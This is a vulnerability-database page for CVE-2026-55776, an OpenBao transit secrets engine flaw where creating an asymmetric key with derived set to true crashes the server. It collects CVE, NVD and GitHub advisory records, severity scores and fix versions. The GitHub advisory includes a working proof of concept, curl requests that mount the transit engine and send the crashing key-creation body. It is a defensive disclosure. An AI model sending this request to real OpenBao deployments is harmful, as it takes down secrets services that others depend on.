Vulnerability-Lookup

CVE-2026-55776 (GCVE-0-2026-55776)

Vulnerability from cvelistv5 – Published: 2026-09-15 15:43 – Updated: 2026-09-15 15:43

Title

OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types

Summary

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-617 - Reachable Assertion

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/openbao/openbao/security/advis…	x_refsource_CONFIRM
https://github.com/openbao/openbao/pull/3309	x_refsource_MISC
https://github.com/openbao/openbao/pull/3312	x_refsource_MISC
https://github.com/openbao/openbao/commit/bb17827…	x_refsource_MISC
https://github.com/openbao/openbao/commit/db57c62…	x_refsource_MISC
https://github.com/openbao/openbao/releases/tag/v2.5.5	x_refsource_MISC
https://github.com/openbao/openbao/releases/tag/v2.6.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
openbao	openbao	Affected: < 2.5.5	guessed

Show details on NVD website

JSON

To clipboard

{
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      "affected": [
        {
          "product": "openbao",
          "vendor": "openbao",
          "versions": [
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        }
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            "confidentialityImpact": "NONE",
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          "descriptions": [
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              "description": "CWE-617: Reachable Assertion",
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      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T15:43:29.564Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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          ],
          "url": "https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j"
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/pull/3312"
        },
        {
          "name": "https://github.com/openbao/openbao/commit/bb17827f3e33779a10166f7d0e61b191c0facef9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/commit/bb17827f3e33779a10166f7d0e61b191c0facef9"
        },
        {
          "name": "https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5"
        },
        {
          "name": "https://github.com/openbao/openbao/releases/tag/v2.5.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
        },
        {
          "name": "https://github.com/openbao/openbao/releases/tag/v2.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/releases/tag/v2.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-8w8f-r2xv-4q4j",
        "discovery": "UNKNOWN"
      },
      "title": "OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55776",
    "datePublished": "2026-09-15T15:43:29.564Z",
    "dateReserved": "2026-06-17T14:40:28.379Z",
    "dateUpdated": "2026-09-15T15:43:29.564Z",
    "state": "PUBLISHED"
  },
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  "vulnerability-lookup:meta": {
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    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55776\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-09-15T16:17:16.220\",\"lastModified\":\"2026-09-15T16:17:16.220\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"openbao\",\"product\":\"openbao\",\"versions\":[{\"version\":\"\u003c 2.5.5\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-617\"}]}],\"references\":[{\"url\":\"https://github.com/openbao/openbao/commit/bb17827f3e33779a10166f7d0e61b191c0facef9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/pull/3309\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/pull/3312\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/releases/tag/v2.5.5\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/releases/tag/v2.6.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j\",\"source\":\"security-advisories@github.com\"}]}}",
    "redhat_vex": {
      "current_release_date": "2026-09-15T17:58:39+00:00",
      "cve": "CVE-2026-55776",
      "id": "CVE-2026-55776",
      "initial_release_date": "2026-09-15T15:43:29.564000+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "github.com/openbao/openbao: OpenBao: Denial of Service via crafted key creation in transit secrets engine",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-55776.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-09-16T00:09:49Z",
      "cve": "CVE-2026-55776",
      "id": "CVE-2026-55776",
      "initial_release_date": "2026-06-23T02:19:37Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-55776",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-55776.json",
      "version": "3"
    }
  }
}

FKIE_CVE-2026-55776

Vulnerability from fkie_nvd - Published: 2026-09-15 16:17 - Updated: 2026-09-15 16:17

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/openbao/openbao/commit/bb17827f3e33779a10166f7d0e61b191c0facef9
	security-advisories@github.com	https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5
	security-advisories@github.com	https://github.com/openbao/openbao/pull/3309
	security-advisories@github.com	https://github.com/openbao/openbao/pull/3312
	security-advisories@github.com	https://github.com/openbao/openbao/releases/tag/v2.5.5
	security-advisories@github.com	https://github.com/openbao/openbao/releases/tag/v2.6.0
	security-advisories@github.com	https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "openbao",
          "vendor": "openbao",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.5.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5."
    }
  ],
  "id": "CVE-2026-55776",
  "lastModified": "2026-09-15T16:17:16.220",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-15T16:17:16.220",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/commit/bb17827f3e33779a10166f7d0e61b191c0facef9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/pull/3309"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/pull/3312"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.6.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-617"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-8W8F-R2XV-4Q4J

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42

Summary

OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types

Details

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.

Mount the transit engine:

 `curl -sS -X POST -H "X-Vault-Token: root" \
   -d '{"type":"transit"}' \
   http://127.0.0.1:8200/v1/sys/mounts/transit`

Trigger the crash:

 `curl -sS -w '\nHTTP %{http_code}\n' -X POST \
   -H "X-Vault-Token: root" \
   -H "Content-Type: application/json" \
   -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
   http://127.0.0.1:8200/v1/transit/keys/some-key-name`

You can try with both JSON or HCL It will crash the entire cluster.

Observed: HTTP 000 curl: (52) Empty reply from server

 $ docker ps -a --filter name=openbao
 STATUS: Exited (2)

Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.

Suggested fix: Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "last_affected": "2.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260617104123-db57c62602b2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-617"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:09Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)\nwith `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.\n\n\nMount the transit engine:\n\n     `curl -sS -X POST -H \"X-Vault-Token: root\" \\\n       -d \u0027{\"type\":\"transit\"}\u0027 \\\n       http://127.0.0.1:8200/v1/sys/mounts/transit`\n\nTrigger the crash:\n\n     `curl -sS -w \u0027\\nHTTP %{http_code}\\n\u0027 -X POST \\\n       -H \"X-Vault-Token: root\" \\\n       -H \"Content-Type: application/json\" \\\n       -d \u0027{\"type\":\"rsa-2048\",\"derived\":true,\"exportable\":true,\"deletion_allowed\":false}\u0027 \\\n       http://127.0.0.1:8200/v1/transit/keys/some-key-name`\n\nYou can try with both JSON or HCL It will crash the entire cluster.\n\n  Observed:\n     HTTP 000\n     curl: (52) Empty reply from server\n\n     $ docker ps -a --filter name=openbao\n     STATUS: Exited (2)\n\nRoot Cause (Hypothesis)\nKey-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or\n  invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path.\n\nSuggested fix:\nValidate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,\nxchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.",
  "id": "GHSA-8w8f-r2xv-4q4j",
  "modified": "2026-06-19T21:42:09Z",
  "published": "2026-06-19T21:42:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/pull/3309"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openbao/openbao"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55776 (GCVE-0-2026-55776)

FKIE_CVE-2026-55776

GHSA-8W8F-R2XV-4Q4J

Tags

Sightings

Nomenclature

Related by attack behaviour